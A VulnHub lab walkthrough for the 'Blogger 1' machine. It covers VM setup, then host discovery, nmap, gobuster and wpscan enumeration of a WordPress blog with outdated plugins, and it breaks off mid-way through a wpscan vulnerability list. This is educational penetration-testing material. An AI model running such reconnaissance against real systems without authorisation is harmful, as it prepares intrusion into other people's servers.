Blogger: Blogger 1 || VulnHub Complete walkthrough


Hello everyone! Welcome all of my viewers, to this brand-new video. Today, we're diving into a beginner-friendly vulnerable machine known as " Blogger 1 " from the " Blogger " series. You can find the machine categorized as " Easy and beginner level " in terms of difficulty.


To get started, head over to the VulnHub website and download the vulnerable image. If you're new to VulnHub, check out our VulnHub playlist for helpful videos


Settings up

Once you've downloaded the image, the next step is setting up the server in VirtualBox. 

This process is quite simple and involves importing the OVA file into VirtualBox using the " import appliance " feature. However, there is a problem, when I try to start the virtual machine, I encounter an issue where it aborts automatically.

To resolve the problem, we'll need to extract the OVA file and manually install the VM.

First, we'll rename the OVA extension to ZIP.  

Since direct renaming isn't possible, open Command Prompt from this directory by typing "cmd" in the Address bar. This will open Command Prompt in the same directory. 

Use the " dir " command to list all directories and files and then, to rename, utilize the " REN " command.

With the OVA extension changed to ZIP, we can now extract it using WinRAR

After extraction, I discovered several helpful files, including two VMDK files

Our next step involves creating a new virtual machine. In VirtualBox, click on " New " to create a new VM. 

Name it " Blogger 1 " and select the operating system type and version as Linux Ubuntu 64-bit. 

Proceed by allocating RAM size for your VM and click " Next ." 

Select " Use an existing virtual hard disk file " and import the VMDK file extracted earlier.

After clicking "Next," then "Finish," the setup is complete. 

Once the import is finished, you'll see the " Blogger 1 " vulnerable machine listed in the VirtualBox Manager. 

Select the virtual machine, go to " Settings ," then " Storage ," click on " Controller: SATA ," and use the hard disk selector to add the second VMDK file.

Next, change the network adapter to " Host-only adapter ."

Now, start the VM. 

Finally, you'll notice that our Vulnerable Machine is ready, with a login prompt awaiting. Let's dive into the fun!


 

Enumeration

The initial step in our attack is enumeration, which involves identifying the IP address of our target machine using Net Discover. To execute this, open a terminal and run "net discover hyphen i" followed by specifying the network interface name, which in this case is " eth1 ."

┌──(kali㉿kali)-[~]
└─$ sudo netdiscover -i eth1

 Currently scanning: 192.168.252.0/16   |   Screen View: Unique Hosts                                                         
                                                                                                                              
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                              
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.95.1    0a:00:27:00:00:02      1      60  Unknown vendor                                                             
 192.168.95.2    08:00:27:ce:c7:96      1      60  PCS Systemtechnik GmbH                                                     
 192.168.95.10   08:00:27:96:10:9f      1      60  PCS Systemtechnik GmbH 

From the scan results, we've obtained our target IP address: " 192.168.95.10 ."


Network scanning using Nmap

Next, we'll conduct a network scan to identify open ports, a crucial step in the enumeration process. This helps us understand the attack surface and strategize targeted attacks. We'll use the popular Nmap tool for this task. 

Nmap: Network Mapper

Discover how Nmap, a powerful network mapping tool, can be used for network discovery and security auditing. Learn about its various features, use cases, and techniques to enhance your network security efforts.

Run " nmap -sC -sV {specifying the IP address} ".

In this command, " -sC " is used to perform a script scan using the default set of scripts, while " -sV " enables version detection, allowing us to identify which versions are running on which port.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 192.168.95.10
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-09 22:34 IST
Nmap scan report for 192.168.95.10
Host is up (0.00047s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 95:1d:82:8f:5e:de:9a:00:a8:07:39:bd:ac:ad:d3:44 (RSA)
|   256 d7:b4:52:a2:c8:fa:b7:0e:d1:a8:d0:70:cd:6b:36:90 (ECDSA)
|_  256 df:f2:4f:77:33:44:d5:93:d7:79:17:45:5a:a1:36:8b (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Blogger | Home
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.88 seconds
                                                                                                                               
┌──(kali㉿kali)-[~]
└─$ 

After completing the network scan, we discovered the presence of two open ports.

  • Port 22/TCP is running an SSH service, indicating that gaining access to the server with valid credentials will be straightforward.
  • Additionally, Port 80/TCP is hosting an HTTP service, suggesting that a vulnerable website may be accessible.

Let's explore the web content hosted on port 80. To do this, open a web browser of your choice and navigate to the target's IP address in the URL bar.

Upon visiting the website, it's evident that it is being hosted. Let's delve deeper into its web technology for a better understanding.

To accomplish this, we'll utilize Wappalyzer, a Firefox extension designed for discerning web technology.

Upon analysis, we discover that the website is created using Bootstrap

After a thorough examination, there doesn't seem to be anything noteworthy to enumerate on the webpage. 


Discovery of Hidden files and Directories with Gobuster

However, there might be hidden or difficult-to-access directories and pages, which we can explore through directory busting.

GoBuster: Brute Force Directories and Files

Explore how GoBuster, a powerful tool, can be used to brute force directories and files on web servers. Learn the techniques and strategies to uncover hidden paths and enhance your web security testing efforts.

We'll use gobuster as our tool of choice, employing various switches for optimal results. Specifically, we'll use " DIR " to specify the enumeration mode, "-u" to specify the target URL, and "-w" to specify the path of the wordlist.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.95.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.95.10/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 315] [--> http://192.168.95.10/images/]
/assets               (Status: 301) [Size: 315] [--> http://192.168.95.10/assets/]
/css                  (Status: 301) [Size: 312] [--> http://192.168.95.10/css/]
/js                   (Status: 301) [Size: 311] [--> http://192.168.95.10/js/]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================
                                                                                                                               
┌──(kali㉿kali)-[~]
└─$ 

During directory enumeration, we discovered 4 directories: " image," " assets," " css," and " js ." It seems these directories contain their respective content.

Upon examining the image directory, I discovered images used in the Bootstrap website. 

However, there didn't seem to be any interesting files. Let's proceed to the next directory.

After some investigation, I stumbled upon an intriguing directory named " blog " within the " fonts " directory. 

Upon accessing the blog directory, I encountered another webpage that appeared to be broken. 

Let's analyze its web technology, which might provide insights for gaining a foothold in the web app. Using Wappalyzer, I determined that the running broken webpage WordPress.


WordPress Security Assessment with WPScan

As it's a WordPress website, this means we can potentially enumerate and identify vulnerabilities using WPScan. 

If you're unfamiliar with WP Scan and how it's utilized for enumerating WordPress websites, I recommend you to read this article for a comprehensive overview.

WPScan: WordPress Security Scanner

Discover WPScan, a powerful security scanner specifically designed for WordPress websites. This guide covers its features, installation process, and how to use WPScan to identify vulnerabilities and enhance the security of your WordPress site.

Now, let's move forward with scanning the WordPress blog to uncover details such as the WordPress version, theme information, plugin details, and security-related headers. Open a new terminal window and enter the command WPScan --url, followed by the URL of the WordPress site you want to scan.

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://192.168.95.10/assets/fonts/blog/
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.95.10/assets/fonts/blog/ [192.168.95.10]
[+] Started: Thu May  9 22:45:25 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.95.10/assets/fonts/blog/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.95.10/assets/fonts/blog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.95.10/assets/fonts/blog/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.95.10/assets/fonts/blog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.95.10/assets/fonts/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.8'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.95.10/assets/fonts/blog/, Match: 'WordPress 4.9.8'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <================================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Thu May  9 22:45:38 2024
[+] Requests Done: 164
[+] Cached Requests: 4
[+] Data Sent: 46.142 KB
[+] Data Received: 99.736 KB
[+] Memory used: 226.84 MB
[+] Elapsed time: 00:00:12
                                                                                                                               
┌──(kali㉿kali)-[~]
└─$

After the scan, WP Scan will provide insights into the WordPress installation, including version numbers, theme information, detected plugins, and whether XML-RPC functionality is enabled. The scan results may highlight security concerns such as outdated software versions and exploitable features like XML-RPC, which attackers could target.

However, the scan may not initially provide plugin information. Let's run WP Scan again to enumerate the plugins. To do this, we'll use the ap flag during the scanning process.

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://192.168.95.10/assets/fonts/blog/ -e ap
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.95.10/assets/fonts/blog/ [192.168.95.10]
[+] Started: Thu May  9 22:49:15 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.95.10/assets/fonts/blog/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.95.10/assets/fonts/blog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.95.10/assets/fonts/blog/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.95.10/assets/fonts/blog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.95.10/assets/fonts/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.8'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.95.10/assets/fonts/blog/, Match: 'WordPress 4.9.8'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Thu May  9 22:49:26 2024
[+] Requests Done: 2
[+] Cached Requests: 27
[+] Data Sent: 674 B
[+] Data Received: 1.028 KB
[+] Memory used: 225.793 MB
[+] Elapsed time: 00:00:11
                                                                                                                               
┌──(kali㉿kali)-[~]
└─$

Still, WP Scan hasn't provided us with any plugin information. By default, WP Scan operates the plugin enumeration in passive mode, as indicated in the WP Scan Help documentation. To address this, we need to switch the plugin detection mode to aggressive.

        --detection-mode MODE                      Default: mixed
                                                  Available choices: mixed, passive, aggressive

Let's proceed with the scan again.

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://192.168.95.10/assets/fonts/blog/ -e ap --plugins-detection aggressive
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.95.10/assets/fonts/blog/ [192.168.95.10]
[+] Started: Thu May  9 22:52:47 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.95.10/assets/fonts/blog/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.95.10/assets/fonts/blog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.95.10/assets/fonts/blog/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.95.10/assets/fonts/blog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.95.10/assets/fonts/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.8'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.95.10/assets/fonts/blog/, Match: 'WordPress 4.9.8'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:10:10 <=========================================> (105357 / 105357) 100.00% Time: 00:10:10
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
  | Location: http://192.168.95.10/assets/fonts/blog/wp-content/plugins/akismet/
 | Last Updated: 2024-03-21T00:55:00.000Z
 | Readme: http://192.168.95.10/assets/fonts/blog/wp-content/plugins/akismet/readme.txt
 | [!] The version is out of date, the latest version is 5.3.2
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.95.10/assets/fonts/blog/wp-content/plugins/akismet/, status: 200
 |
 | Version: 4.0.8 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.95.10/assets/fonts/blog/wp-content/plugins/akismet/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://192.168.95.10/assets/fonts/blog/wp-content/plugins/akismet/readme.txt

[+] wpdiscuz
  | Location: http://192.168.95.10/assets/fonts/blog/wp-content/plugins/wpdiscuz/
 | Last Updated: 2024-04-24T07:42:00.000Z
 | Readme: http://192.168.95.10/assets/fonts/blog/wp-content/plugins/wpdiscuz/readme.txt
 | [!] The version is out of date, the latest version is 7.6.18
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.95.10/assets/fonts/blog/wp-content/plugins/wpdiscuz/, status: 200
 |
 | Version: 7.0.4 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.95.10/assets/fonts/blog/wp-content/plugins/wpdiscuz/readme.txt

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Thu May  9 23:04:00 2024
[+] Requests Done: 105367
[+] Cached Requests: 32
[+] Data Sent: 31.703 MB
[+] Data Received: 14.162 MB
[+] Memory used: 435.488 MB
[+] Elapsed time: 00:11:12
                                                                                                                               
┌──(kali㉿kali)-[~]
└─$ 

Upon receiving the results, it shows that two outdated plugins are installed within WordPress: Akismet and wpdiscuz

Since they are outdated, they are likely vulnerable. You can verify this using AI tools or by searching on Google.

However, I'll demonstrate an effective way to check for vulnerabilities in these plugins.

The effective method involves using a WPScan API token

WPScan provides 25 daily requests. To obtain a token, visit wpScan.com/register , and then here, register by providing some details. 

WPScan: WordPress Security Scanner

Discover WPScan, a powerful security scanner specifically designed for WordPress websites. Register now to access WPScan's comprehensive database of vulnerabilities and start securing your WordPress site effectively.

After clicking the register button, you'll receive an email to verify your email address. Once verified, you'll be able to access the API token

The next step is to provide this token to WP Scan using another flag specifically for API tokens.

Now, let's run the scan again. 

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://192.168.95.10/assets/fonts/blog/ -e ap --plugins-detection aggressive --api-token o*************************************Q
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.95.10/assets/fonts/blog/ [192.168.95.10]
[+] Started: Thu May  9 23:22:19 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.95.10/assets/fonts/blog/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.95.10/assets/fonts/blog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.95.10/assets/fonts/blog/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.95.10/assets/fonts/blog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.95.10/assets/fonts/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.8'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.95.10/assets/fonts/blog/, Match: 'WordPress 4.9.8'
 |
 | [!] 60 vulnerabilities identified:
 |
 | [!] Title: WordPress <= 5.0 - Authenticated File Delete
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpscan.com/vulnerability/e3ef8976-11cb-4854-837f-786f43cbdf44
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20147
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Authenticated Post Type Bypass
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpscan.com/vulnerability/999dba5a-82fb-4717-89c3-6ed723cc7e45
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
 |
 | [!] Title: WordPress <= 5.0 - PHP Object Injection via Meta Data
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpscan.com/vulnerability/046ff6a0-90b2-4251-98fc-b7fba93f8334
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Authenticated Cross-Site Scripting (XSS)
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpscan.com/vulnerability/3182002e-d831-4412-a27d-a5e39bb44314
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Cross-Site Scripting (XSS) that could affect plugins
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpscan.com/vulnerability/7f7a0795-4dd7-417d-804e-54f12595d1e4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20150
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460
 |
 | [!] Title: WordPress <= 5.0 - User Activation Screen Search Engine Indexing
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpscan.com/vulnerability/65f1aec4-6d28-4396-88d7-66702b21c7a2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - File Upload to XSS on Apache Web Servers
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpscan.com/vulnerability/d741f5ae-52ca-417d-a2ca-acdfb7ca5808
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a
 |
 | [!] Title: WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution
 |     Fixed in: 4.9.9
 |     References:
 |      - https://wpscan.com/vulnerability/1a693e57-f99c-4df6-93dd-0cdc92fd0526
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943
 |      - https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
 |      - https://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce
 |
 | [!] Title: WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS)
 |     Fixed in: 4.9.10
 |     References:
 |      - https://wpscan.com/vulnerability/d150f43f-6030-4191-98b8-20ae05585936
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9787
 |      - https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
 |      - https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
 |      - https://blog.ripstech.com/2019/wordpress-csrf-to-rce/
 |
 | [!] Title: WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation
 |     Fixed in: 4.9.11
 |     References:
 |      - https://wpscan.com/vulnerability/4494a903-5a73-4cad-8c14-1e7b4da2be61
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16222
 |      - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
